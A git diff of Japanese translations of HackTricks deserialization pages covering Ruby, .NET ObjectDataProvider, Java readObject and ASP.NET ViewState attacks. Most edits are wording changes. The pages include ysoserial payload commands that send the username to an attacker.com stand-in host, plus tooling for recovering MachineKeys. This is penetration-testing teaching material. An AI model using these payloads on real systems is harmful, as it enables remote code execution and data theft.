- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||||
|
|
||||||
## **Ruby**
|
## **Ruby**
|
||||||
|
|
||||||
Rubyでは、シリアライズは**marshal**ライブラリ内の2つのメソッドによって実現されます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアライズと呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
|
Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって行われます。最初のメソッドは**dump**と呼ばれ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
|
||||||
|
|
||||||
シリアライズされたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
|
シリアル化されたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)を使用して**データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
|
||||||
|
|
||||||
- `config/environment.rb`
|
- `config/environment.rb`
|
||||||
- `config/initializers/secret_token.rb`
|
- `config/initializers/secret_token.rb`
|
||||||
@ -819,13 +819,13 @@ puts Base64.encode64(payload)
|
|||||||
|
|
||||||
### Ruby .send() メソッド
|
### Ruby .send() メソッド
|
||||||
|
|
||||||
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーのサニタイズされていない入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**任意の他のメソッド**を任意のパラメータで呼び出すことを許可します。
|
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**任意の他のメソッドを**任意のパラメータで呼び出すことを許可します。
|
||||||
|
|
||||||
例えば、evalを呼び出し、次にrubyコードを第二のパラメータとして渡すことで、任意のコードを実行することができます:
|
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
|
||||||
```ruby
|
```ruby
|
||||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||||
```
|
```
|
||||||
さらに、**`.send()`** のパラメータが攻撃者によって制御されている場合、前述の説明のように、**引数を必要としない**か、**デフォルト値を持つ**引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\
|
さらに、**`.send()`** のパラメータが攻撃者によって制御されている場合、前の記述で述べたように、**引数を必要としない**か、**デフォルト値**を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\
|
||||||
これを行うために、オブジェクトのすべてのメソッドを列挙して、**その要件を満たす興味深いメソッドを見つける**ことができます。
|
これを行うために、オブジェクトのすべてのメソッドを列挙して、**その要件を満たす興味深いメソッドを見つける**ことができます。
|
||||||
```ruby
|
```ruby
|
||||||
<Object>.send('<user_input>')
|
<Object>.send('<user_input>')
|
||||||
@ -854,15 +854,15 @@ candidate_methods.length() # Final number of methods=> 3595
|
|||||||
|
|
||||||
### Ruby _json汚染
|
### Ruby _json汚染
|
||||||
|
|
||||||
ボディに配列のようなハッシュ化できない値を送信すると、それらは新しいキー`_json`に追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
|
ボディに配列のようなハッシュ化できない値を送信すると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
|
||||||
|
|
||||||
[Ruby _json汚染ページで詳細を確認してください](ruby-_json-pollution.md)。
|
[Ruby _json汚染ページで詳細情報を確認してください](ruby-_json-pollution.md)。
|
||||||
|
|
||||||
### その他のライブラリ
|
### その他のライブラリ
|
||||||
|
|
||||||
この技術は[**このブログ投稿から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
|
この技術は[**このブログ投稿から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
|
||||||
|
|
||||||
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、これらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):
|
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):
|
||||||
|
|
||||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_createに関するノートを参照](#table-vulnerable-sinks))</td></tr></tbody></table>
|
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (クラスはハッシュ(マップ)のキーとして配置する必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_createに関するノートを参照](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||||
|
|
||||||
@ -888,7 +888,7 @@ puts json_payload
|
|||||||
# Sink vulnerable inside the code accepting user input as json_payload
|
# Sink vulnerable inside the code accepting user input as json_payload
|
||||||
Oj.load(json_payload)
|
Oj.load(json_payload)
|
||||||
```
|
```
|
||||||
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの非サニタイズされたデシリアライズ脆弱性の優れた検出器を提供しました。
|
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"^o": "URI::HTTP",
|
"^o": "URI::HTTP",
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
この投稿は、**ObjectDataProvider ガジェットがどのように悪用されるかを理解すること**と、**Json.Net および xmlSerializer のシリアライゼーションライブラリがそのガジェットでどのように悪用されるか**に捧げられています。
|
この投稿は、**ガジェット ObjectDataProvider がどのように悪用されるかを理解すること**と、**Json.Net および xmlSerializer のシリアル化ライブラリがそのガジェットとどのように悪用されるか**に捧げられています。
|
||||||
|
|
||||||
## ObjectDataProvider ガジェット
|
## ObjectDataProvider ガジェット
|
||||||
|
|
||||||
@ -18,11 +18,11 @@
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
`MethodName` が設定されると `base.Refresh()` が呼び出されるのが観察できます。これが何をするのか見てみましょう:
|
`MethodName` が設定されると `base.Refresh()` が呼び出されることがわかります。これが何をするのか見てみましょう:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
では、`this.BeginQuery()` が何をするのかを見続けましょう。`BeginQuery` は `ObjectDataProvider` によってオーバーライドされており、これがその動作です:
|
では、`this.BeginQuery()` が何をするのかを見てみましょう。`BeginQuery` は `ObjectDataProvider` によってオーバーライドされており、これがその動作です:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -30,7 +30,7 @@
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
これは `QueryWorker` 関数の完全なコードではありませんが、その興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);`** を呼び出します。これは **メソッドセットが呼び出される**行です。
|
これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);`** を呼び出します。これは **メソッドセットが呼び出される**行です。
|
||||||
|
|
||||||
_**MethodName**_ を設定するだけでそれが実行されることを確認したい場合は、このコードを実行できます:
|
_**MethodName**_ を設定するだけでそれが実行されることを確認したい場合は、このコードを実行できます:
|
||||||
```java
|
```java
|
||||||
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
注意:`System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ を参照として追加する必要があります。
|
注意:`System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を参照として追加する必要があります。
|
||||||
|
|
||||||
## ExpandedWrapper
|
## ExpandedWrapper
|
||||||
|
|
||||||
前述のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります(例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました)。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型については**知識がありません**(例えば`Process`)。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)で確認できます。
|
前述のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります(例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました)。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型については**知識がありません**(例えば`Process`)。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)で確認できます。
|
||||||
|
|
||||||
このクラスは、特定のインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことを可能にします。したがって、このクラスはソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクト型にカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
|
このクラスは、特定のインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことを可能にします。したがって、このクラスはソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクト型にカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
|
||||||
これは、前述のケースのように非常に便利です。なぜなら、**_ObjectDataProvider**_\*\*を\*\*_**ExpandedWrapper** \_インスタンス内に**ラップ**でき、**デシリアライズされると**このクラスは**_**OjectDataProvider**_オブジェクトを**作成**し、_**MethodName**_で示された**関数**を**実行**します。
|
これは、前述のケースのように非常に便利です。なぜなら、**_ObjectDataProvider**_\*\*を\*\*_**ExpandedWrapper** \_インスタンス内に**ラップ**でき、**デシリアライズされると**このクラスは_**OjectDataProvider**_オブジェクトを**作成**し、_**MethodName**_で示された**関数**を**実行**します。
|
||||||
|
|
||||||
次のコードでこのラッパーを確認できます:
|
次のコードでこのラッパーを確認できます:
|
||||||
```java
|
```java
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
# Serializable
|
# Serializable
|
||||||
|
|
||||||
Javaの`Serializable`インターフェース(`java.io.Serializable`は、**シリアライズ**および**デシリアライズ**を行うクラスが実装しなければならないマーカーインターフェースです。Javaオブジェクトのシリアライズ(書き込み)は[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html)で行われ、デシリアライズ(読み込み)は[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)で行われます。
|
Javaの`Serializable`インターフェース(`java.io.Serializable`は、**シリアライズ**および**デシリアライズ**を行うクラスが実装しなければならないマーカーインターフェースです。Javaオブジェクトのシリアライズ(書き込み)は[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html)を使用して行われ、デシリアライズ(読み込み)は[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)を使用して行われます。
|
||||||
|
|
||||||
**シリアライズ可能な**クラス**Person**の例を見てみましょう。このクラスは**readObject**関数を**オーバーライド**しているため、この**クラス**の**任意のオブジェクト**が**デシリアライズ**されると、この**関数**が**実行**されます。\
|
**シリアライズ可能な**クラス**Person**の例を見てみましょう。このクラスは**readObject**関数を**オーバーライド**しているため、この**クラス**の**任意のオブジェクト**が**デシリアライズ**されると、この**関数**が**実行**されます。\
|
||||||
この例では、クラスPersonの**readObject関数**が彼のペットの`eat()`関数を呼び出し、犬の`eat()`関数が(何らかの理由で)**calc.exe**を呼び出します。**この計算機を実行するために、Personオブジェクトをシリアライズおよびデシリアライズする方法を見ていきましょう:**
|
この例では、クラスPersonの**readObject関数**が彼のペットの`eat()`関数を呼び出し、犬の`eat()`関数が(何らかの理由で)**calc.exe**を呼び出します。**この計算機を実行するために、Personオブジェクトをシリアライズおよびデシリアライズする方法を見ていきましょう:**
|
||||||
@ -82,6 +82,6 @@ payloadTest("test.ser");
|
|||||||
```
|
```
|
||||||
## 結論
|
## 結論
|
||||||
|
|
||||||
この非常に基本的な例からわかるように、ここでの「脆弱性」は、**readObject** 関数が **他の脆弱な関数を呼び出している** ために発生します。
|
この非常に基本的な例からわかるように、ここでの「脆弱性」は**readObject**関数が**他の脆弱な関数を呼び出している**ために発生します。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**次の素晴らしい投稿をチェックしてください** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
**素晴らしい投稿をチェックしてください** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -22,7 +22,7 @@ ViewState情報は、以下の特性またはその組み合わせによって
|
|||||||
1. **任意の.NETバージョン**の場合、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
|
1. **任意の.NETバージョン**の場合、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
|
||||||
2. **4.5未満のバージョン**の場合、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
|
2. **4.5未満のバージョン**の場合、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
|
||||||
3. **4.5未満のバージョン**の場合、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。
|
3. **4.5未満のバージョン**の場合、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。
|
||||||
4. **4.5以上のバージョン**の場合、MACと暗号化のすべての組み合わせ(両方がtrueであるか、一方がtrueで他方がfalseであるか)はMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。
|
4. **4.5以上のバージョン**の場合、MACと暗号化のすべての組み合わせ(両方がtrue、または一方がtrueで他方がfalseの場合)はMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。
|
||||||
|
|
||||||
### テストケース: 1 – EnableViewStateMac=false および viewStateEncryptionMode=false
|
### テストケース: 1 – EnableViewStateMac=false および viewStateEncryptionMode=false
|
||||||
|
|
||||||
@ -36,15 +36,15 @@ BurpSuiteを使用して、このパラメータを含むリクエストをキ
|
|||||||
```
|
```
|
||||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||||
```
|
```
|
||||||
### テストケース 1.5 – テストケース 1 と同様だが、ViewState クッキーはサーバーによって送信されない
|
### テストケース 1.5 – テストケース 1 と同様ですが、ViewState クッキーはサーバーによって送信されません
|
||||||
|
|
||||||
開発者は **ViewState** を HTTP リクエストの一部として送信されないようにすることができます(ユーザーはこのクッキーを受け取らない)。\
|
開発者は **ViewState** を HTTP リクエストの一部として送信しないようにすることができます(ユーザーはこのクッキーを受け取りません)。\
|
||||||
**ViewState** が **存在しない** 場合、その実装は **ViewState デシリアライズに起因する潜在的な脆弱性から安全である** と考えるかもしれません。\
|
**ViewState** が **存在しない** 場合、その実装は **ViewState デシリアライズ** に起因する潜在的な脆弱性から **安全** であると考えるかもしれません。\
|
||||||
しかし、それは事実ではありません。リクエストボディに **ViewState パラメータ** を追加し、ysoserial を使用して作成したシリアライズされたペイロードを送信すれば、**ケース 1** に示されているように **コード実行** を達成することができます。
|
しかし、それは事実ではありません。リクエストボディに **ViewState パラメータ** を追加し、ysoserial を使用して作成したシリアライズされたペイロードを送信すれば、**ケース 1** に示されているように **コード実行** を達成することができます。
|
||||||
|
|
||||||
### テストケース: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
|
### テストケース: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||||
|
|
||||||
特定のページに対して **ViewState MAC** を **有効にする** ためには、特定の aspx ファイルに以下の変更を加える必要があります:
|
特定のページに対して **ViewState MAC** を **有効** にするためには、特定の aspx ファイルに以下の変更を加える必要があります:
|
||||||
```bash
|
```bash
|
||||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||||
```
|
```
|
||||||
@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
|||||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||||
--modifier : __VIWESTATEGENERATOR parameter value
|
--modifier : __VIWESTATEGENERATOR parameter value
|
||||||
```
|
```
|
||||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
|
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
|
||||||
|
|
||||||
viewstate と generator を直接提供することができます:
|
viewstate と generator を直接提供することができます:
|
||||||
```
|
```
|
||||||
@ -79,7 +79,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
|
|||||||
```
|
```
|
||||||

|

|
||||||
|
|
||||||
または、ターゲットURLに直接接続し、HTMLからviewstateを抽出しようとすることができます:
|
または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることができます:
|
||||||
```
|
```
|
||||||
pip install badsecrets
|
pip install badsecrets
|
||||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||||
@ -88,7 +88,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
|||||||
```
|
```
|
||||||

|

|
||||||
|
|
||||||
脆弱な viewstate を大規模に検索するために、サブドメイン列挙と組み合わせて、`badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) モジュールを使用できます:
|
脆弱なviewstateを大規模に検索するために、サブドメイン列挙と組み合わせて、`badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) モジュールを使用できます:
|
||||||
```
|
```
|
||||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||||
```
|
```
|
||||||
@ -106,15 +106,15 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
|||||||
```
|
```
|
||||||
### テストケース: 3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true
|
### テストケース: 3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true
|
||||||
|
|
||||||
この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、**脆弱性を悪用するためにペイロードを暗号化するためのMachine Keyが必要です**。
|
この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、**脆弱性を悪用するためにペイロードを暗号化するためのマシンキーが必要です**。
|
||||||
|
|
||||||
**この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...**
|
**この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...**
|
||||||
|
|
||||||
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**チェックします**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。**
|
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**チェックします**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。**
|
||||||
|
|
||||||
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してMachinekeyを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用してViewStateデシリアライズ脆弱性を利用してRCEを実行できます。
|
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
|
||||||
|
|
||||||
- ViewStateデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
|
- ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
|
||||||
|
|
||||||
### テストケース: 4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合
|
### テストケース: 4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合
|
||||||
|
|
||||||
@ -153,12 +153,12 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
|
ViewStateデシリアライズの脆弱性を成功裏に悪用すると、攻撃者が制御するサーバーへのアウトオブバンドリクエストが発生し、ユーザー名が含まれます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。エクスプロイトプロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
|
||||||
|
|
||||||
### テストケース 6 – ViewStateUserKeysが使用されている
|
### テストケース 6 – ViewStateUserKeysが使用されている
|
||||||
|
|
||||||
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\
|
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\
|
||||||
ペイロードを正しく作成するためには、もう1つのパラメータを使用する必要があります:
|
ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります:
|
||||||
```bash
|
```bash
|
||||||
--viewstateuserkey="randomstringdefinedintheserver"
|
--viewstateuserkey="randomstringdefinedintheserver"
|
||||||
```
|
```
|
||||||
@ -166,7 +166,7 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者
|
|||||||
|
|
||||||
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
|
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
|
||||||
|
|
||||||
[さらに詳しい情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
[さらなる情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
|||||||
public final class URL implements java.io.Serializable {
|
public final class URL implements java.io.Serializable {
|
||||||
```
|
```
|
||||||
このクラスには**奇妙な動作**があります。ドキュメントから:“**2つのホストは、両方のホスト名が同じIPアドレスに解決できる場合、同等と見なされます**”。\
|
このクラスには**奇妙な動作**があります。ドキュメントから:“**2つのホストは、両方のホスト名が同じIPアドレスに解決できる場合、同等と見なされます**”。\
|
||||||
そのため、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれか**の**関数**を呼び出すたびに、IPアドレスを取得するための**DNSリクエスト**が**送信**されます。
|
